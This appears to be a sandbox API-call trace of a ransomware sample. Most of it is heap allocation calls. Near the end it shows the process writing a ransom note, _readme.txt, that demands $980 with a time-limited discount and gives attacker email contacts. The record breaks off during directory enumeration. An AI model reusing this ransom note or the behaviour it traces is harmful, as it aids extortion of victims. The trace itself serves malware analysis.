[0117.013] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f50 | out: hHeap=0x35b0000) returned 1 [0117.013] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f50 [0117.013] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.013] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.013] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f50 | out: hHeap=0x35b0000) returned 1 [0117.013] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f50 [0117.013] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.013] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.013] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f50 | out: hHeap=0x35b0000) returned 1 [0117.013] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f50 [0117.013] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.014] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.014] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.014] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.014] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f50 | out: hHeap=0x35b0000) returned 1 [0117.014] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f50 [0117.014] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.014] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.014] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f50 | out: hHeap=0x35b0000) returned 1 [0117.014] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f50 [0117.014] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.014] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.014] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f50 | out: hHeap=0x35b0000) returned 1 [0117.014] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f50 [0117.014] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.014] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.014] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f50 | out: hHeap=0x35b0000) returned 1 [0117.014] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f50 [0117.014] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.014] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.014] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f50 | out: hHeap=0x35b0000) returned 1 [0117.014] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f50 [0117.014] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.014] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.014] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f50 | out: hHeap=0x35b0000) returned 1 [0117.014] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164ed8 | out: hHeap=0x35b0000) returned 1 [0117.014] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161720 | out: hHeap=0x35b0000) returned 1 [0117.014] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f28 | out: hHeap=0x35b0000) returned 1 [0117.014] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164e60 | out: hHeap=0x35b0000) returned 1 [0117.014] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.014] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165090 | out: hHeap=0x35b0000) returned 1 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61650b8 | out: hHeap=0x35b0000) returned 1 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61616b0 | out: hHeap=0x35b0000) returned 1 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61616e8 | out: hHeap=0x35b0000) returned 1 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61650e0 | out: hHeap=0x35b0000) returned 1 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61626b8 | out: hHeap=0x35b0000) returned 1 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61efac8 | out: hHeap=0x35b0000) returned 1 [0117.015] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fa0 [0117.015] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.015] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.015] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.015] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.015] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.015] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.015] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.015] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.015] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.015] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.015] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.016] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.016] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.016] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.016] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.016] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.016] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.016] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.016] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.016] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.016] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.016] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.016] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.016] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.016] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.016] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.016] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.016] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.016] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.016] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.016] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.016] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.016] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.016] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.016] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.016] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.016] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.016] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.016] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.016] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.016] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.016] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.016] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.017] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.017] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.017] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.017] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.017] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.017] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.017] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.017] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.017] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.017] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.017] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.017] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.017] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.017] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.017] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.017] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.017] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.017] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.017] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.017] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.017] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.018] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.018] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.018] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.018] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.018] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.018] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.018] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.018] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.018] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.018] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.018] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.018] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.018] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.018] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.018] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.018] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.018] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.018] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.018] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.018] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.018] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.018] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.018] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.018] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.018] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.018] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.018] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.018] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.018] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.019] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.019] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.019] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.019] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0117.019] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.019] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.019] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.019] PathFindFileNameW (pszPath="") returned="" [0117.019] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.019] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.019] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.019] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x800) returned 0x61eeac0 [0117.019] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.019] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x676ab00 [0117.019] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.019] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.020] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0117.020] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.020] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.020] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 0 [0117.020] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6771170 [0117.020] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.020] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.021] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676bc10 [0117.021] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_readme.txt" (normalized: "c:\\boot\\cs-cz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.021] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0117.021] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771170 | out: hHeap=0x35b0000) returned 1 [0117.021] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.021] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.021] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.021] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.021] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, 